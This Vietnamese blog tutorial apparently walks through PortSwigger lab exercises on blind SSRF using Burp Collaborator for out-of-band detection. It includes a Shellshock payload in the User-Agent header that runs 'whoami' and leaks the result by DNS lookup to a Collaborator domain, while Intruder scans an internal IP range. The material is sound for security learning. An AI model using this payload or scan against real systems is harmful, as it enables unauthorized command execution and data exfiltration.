NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – SSRF attack với whitelist filter bypass và open redirection, kỳ này tôi sẽ xử lý nốt nội dung còn lại là Blind SSRF attack với out-of-band techniques.
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
- Chi tiết việc sử dụng Burp Suite Intruder bạn có thể xem trong nội dung Penetration Testing Step 3 – Chuẩn bị đổ mưa bom, bão đạn lên mục tiêu với Burp Suite Intruder;
#1. Blind SSRF vulnerabilities mặt mũi ra sao?
Về cơ bản, lỗ hổng Blind SSRF xuất hiện khi ứng dụng bị “dụ dỗ” để bắn ra back-end HTTP request đến một URL nào đấy và response từ cái request này không được trả về ứng dụng.
Thông thường, Blind SSRF có thể dựa vào out-of-band techniques – OAST để làm ứng dụng phọt ra HTTP request đến external system (các hệ thống bên ngoài) mà tôi có thể thao túng từ đó soi mói thông tin trong quá trình tương tác của 2 đối tượng này.
OAST có nhiều phương án triển khai, nhưng vì đang chiến với Burp Suite nên tôi có một lựa chọn khá hợp lý là sử dụng Burp Collaborator. Với Burp Collaborator client, tôi sẽ tạo ra các domain name độc lạ đóng vai trò làm payload rồi gửi đến ứng dụng. Khi đó, nếu tồn tại lỗ hổng SSRF, tôi sẽ có thể ngồi rung đùi theo dõi quá trình tương tác từ ứng dụng đến cái domain name đã thiết lập (ví dụ các HTTP request).
Lưu ý:
- Burp Collaborator chỉ có trên bản Professional/Enterprise;
- Quá trình tương tác của ứng dụng với cái Collaborator domain đã thiết lập có thể chỉ bao gồm DNS look-up mà không có HTTP request đi kèm sau đó. Việc này có thể xảy ra khi đám HTTP request bị chặn lại bởi network-level filter (đám outbond DNS traffic là nhu cầu thiết yếu với các hệ thống nên hiếm khi bị chặn);
Một khi đã có thể túm được kết quả tương tác của ứng dụng đến Collaborator domain, tôi sẽ tiến hành các phương án thăm dò và khai thác lỗ hổng trên server cũng như các hệ thống râu ria có liên kết đến nó.
#2. Out-of-band techniques với Burp Collaborator
Với trò OAST này, tôi sẽ cần truy cập đến Burp menu tôi chọn Burp Collaborator client.
Sau đó tôi chọn Copy to clipboard để hốt cái Burp Collaborator payload (p2sqej5zcouo7ksr568soqd2wt2jq8.burpcollaborator.net trong ví dụ này).
Cứ để cái Burp Collaborator client này chạy, tôi quay qua browser truy cập đại vô một sản phẩm của ứng dụng.
Rồi hốt cái request tương ứng quăng qua Repeater.
Ở đây tôi sẽ cập nhật cái Referer header sang cái Burp Collaborator domain đã copy ở trên và send.
Lưu ý: Cái Collaborator payload trong ví dụ trên của tôi là p2sqej5zcouo7ksr568soqd2wt2jq8.burpcollaborator.net. Nếu bạn sử dụng các bản Burp Suite cập nhật, public Collaborator domain sẽ có thể ở dạng oastify.com thay vì burpcollaborator.net.
Quay trở về Burp Collaborator client, tôi rung đùi chờ xuất hiện kết quả tương tác (có thể chờ vài giây rồi click Poll now nếu sốt ruột quá).
Nhờ ăn ở tốt, tôi thấy một số DNS và HTTP request đến Collaborator như sau.
Dựa vào kết quả tương tác này, tôi sẽ có thể khai thác các thông tin cần thiết hoặc làm bàn đạp cho các đòn tấn công tiếp theo như phần minh họa bên dưới.
#3. Blind SSRF attack với Shellshock exploitation
Để thuận lợi trong quá trình chiến đấu với Burp Collaborator, tôi bay qua chỗ Bapp Store trong Extender để hốt cái Collaborator Everywhere.
Kế đến, tôi add cái domain của phần lab vào Target Scope của Burp Suite để cái Collaborator Everywhere có thể hỗ trợ tác chiến.
Lưu ý: Bạn có thể xem thêm phần Target trong nội dung Penetration Testing Step 3 – Chuẩn bị bàn đạp để tấn công từ Target tab của Burp Suite.
Sau khi bày binh bố trận xong, tôi bắt đầu duyệt qua nội dung của mục tiêu. Ví dụ, khi soi kèo một sản phẩm cụ thể trên ứng dụng, tôi có thể quan sát thấy HTTP interaction đến Burp Collaborator kiểu như sau.
Đồng thời, tôi cũng có thể quan sát thấy cái User-Agent string bên trong cái HTTP request.
Túm cái request này, tôi đẩy sang Burp Suite Intruder trước.
Sau đó, tôi mở Burp Collaborator client lên để generate Collaborator payload rồi chọn Copy to clipboard (trong ví dụ của tôi thì nó sẽ là devxx7cbhs5dtqyo92g7gsba51brzg.burpcollaborator.net).
Với thông tin này, tôi soạn ra một Shellshock payload tương ứng kiểu như sau:
() { :; }; /usr/bin/nslookup $(whoami).devxx7cbhs5dtqyo92g7gsba51brzg.burpcollaborator.net
Lưu ý:
- Shellshock hiểu đơn giản là dạng lỗ hổng liên quan đến các Bash version (đến Version 4.3 của GNU Bash) có thể bị khai thác để thực thi các command vượt thẩm quyền cho phép. Như cái payload ở trên thì ý tưởng là múc cái kết quả command whoami rồi chạy nslookup với cái subdomain tương ứng;
- Bạn có thể xem thêm thông tin về Bash trong nội dung Giải ngố Kali Linux – Phần 4: Ép xung tốc độ thao tác Command Line với Bash và nhập môn Bash Script.
Quay lại cái request đã đẩy sang Burp Suite Intruder ban nãy, ở tab con Positions, tôi cập nhật chỗ User-Agent string thành cái Shellshock payload đã chuẩn bị. Tại chỗ Referer header, tôi cũng cập nhật thành http://192.168.0.1:8080.
Lưu ý: Thông tin IP và port ở đây được đơn giản hóa để demo cho nhanh. Thực tế bạn có thể sẽ phải đổ mồ hôi, sôi nước mắt để xác định chứ không phải tự nhiên mà có được.
Đồng thời, tôi cũng xóa hết các payload marker mặc định (với Clear §) rồi chọn cái final octet của các IP address (số “1” cuối cùng) chỗ Referer header để set payload marker (với Add §).
Chuyển qua tab con Payloads, tôi chọn payload type Numbers với các thông tin From, To và Step như bên dưới (ý tưởng ở đây là tôi sẽ quét hết dãy IP này để tìm kiếm yếu huyệt nhằm tung cái Shellshock payload hạ sát mục tiêu).
Sau khi Start attack, tôi mở cái Burp Collaborator client lên và chờ đợi. Và nếu mọi chuyện êm đẹp, tôi sẽ quan sát thấy quá trình tương tác của mục tiêu và Burp Collaborator.
Với cái Shellshock payload ở trên (cụ thể là cái whoami), tôi sẽ có thể đọc được thông tin user tương ứng như sau.
1 thought on “Penetration Testing Step 3 – Blind SSRF attack với hàng độc out-of-band techniques”